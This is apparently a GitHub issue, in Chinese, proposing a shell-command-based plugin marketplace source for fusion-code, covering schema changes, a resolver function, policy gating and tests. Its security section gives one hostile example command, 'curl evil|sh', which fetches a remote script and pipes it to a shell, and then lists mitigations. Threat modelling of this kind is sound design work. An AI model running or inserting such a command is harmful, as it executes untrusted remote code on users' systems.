Skip to content

feat(plugins): item 24 marketplace command 源 (CC 2.1.229, §140/§216) #115

Closed

Description

@dahai80

缺口

CC 2.1.229 (enhance-0819.md §140/§216) 新增插件 marketplace command 源 — 本地命令打印插件目录, 每会话重新解析, 无需重启。洞察 (§143): 插件安装从 "git/npm 装" 演进到 "zip+SHA-256 锁定 + command 源"。

fusion-code MarketplaceSourceSchema (schemas.ts:906-1044) 现有 source 变体: url/github/git/npm/file/directory/settings + policy-only hostPattern/pathPattern。无 command 变体 — 无法声明一个"跑本地命令得插件目录"的动态 marketplace 源。

落地范围

数据/schema 层补齐 command MarketplaceSource 变体 + policy gate 认得 + 真执行函数 (跑 command → 验目录 → 返 directory 等效 source)。

注意: OSS fusion-code marketplace 物化执行 (addMarketplaceSource/reconcile/loadKnownMarketplacesConfig) 经 cloud-only 移除后为 stub (marketplaceManager.ts 全桩, CI Lint Zero c1b74c7)。command 源物化与其他所有源 (directory/file/url/github 等) 同状态 — schema 真声明、物化待 stub 补齐。本 PR 补 schema 一致性 + 独立可测的 resolveCommandSource 真逻辑 (跑命令拿目录), 不接入死 stub, 供未来 stub 补齐时接 addMarketplaceSource。

改动

  1. schemas.ts — MarketplaceSourceSchema 加 command 变体 (command: string shell 命令, cwd?: string 可选工作目录)。discriminatedUnion 自然支持。
  2. schemas.ts — MarketplaceNameSchema 注释 command 源不适用 hostPattern/pathPattern policy (无 host/path, 靠 marketplace name allowlist)。
  3. 新 commandSource.ts — resolveCommandSource(source): Promise<directory 等效 MarketplaceSource>: spawn command, 取 stdout trim 为目录路径, 验存在且为目录, 返 {source:'directory', path: resolvedDir}。安全: 命令字符串由 marketplace.json/settings 声明 (受信同 git/npm postinstall 跑任意码模型), policy gate (strictKnownMarketplaces 显式列名) 兜底。超时/非零退出/空输出/非目录 → fail-visible throw。
  4. policy gate — isSourceAllowedByPolicy/isSourceInBlocklist (pluginLoader.ts:2028) command 源不匹配 host/path pattern, 走 marketplace name allowlist 分支 (现有 hasEnterprisePolicy + strictAllowlist 已覆盖 — command 源 marketplace name 未在 allowlist → blocked, fail-closed 不变)。
  5. reconciler.normalizeSource (reconciler.ts:249) — command 源不经相对路径解析 (动态路径), 透传。
  6. 单测 commandSource.test.ts — 真跑 command (echo $tmpdir)、超时/非零/空输出/非目录/正常目录 各 case + schema parse 校验。

不改

  • parseMarketplaceInput.ts — command 源不经用户输入解析 (是 marketplace.json/settings 声明, 非 plugin marketplace add <input> 路径)。
  • addMarketplaceSource stub — 不接 (死桩, 同其他源)。
  • Command.source 字段 — 不动 (Explore 证 14+ 读点全 literal 比对, marketplace 归属已走 pluginInfo.repository)。

验证

typecheck 0 / 新单测 pass / 全测无回归 / build+build:dev:full / lint baseline。

安全

command 源加 RCE 面 (恶意 marketplace command: "curl evil|sh")。缓解: (1) 同 install-已-run-code 量级 — git clone/npm install/zip postinstall 亦跑任意码; (2) policy gate strictKnownMarketplaces 显式列 marketplace name allowlist 兜底; (3) 命令声明受信源 (marketplace.json/settings, 非用户随意输入); (4) fail-visible (超时/非零/异常目录 throw, 不静默降级)。

关联

enhance-0819.md item 24, 关闭本 issue。

Activity

  1. added
    enhancement
    on Aug 21, 2026
  2. added a commit that references this issue on Aug 22, 2026
    26dcb91
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancement

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions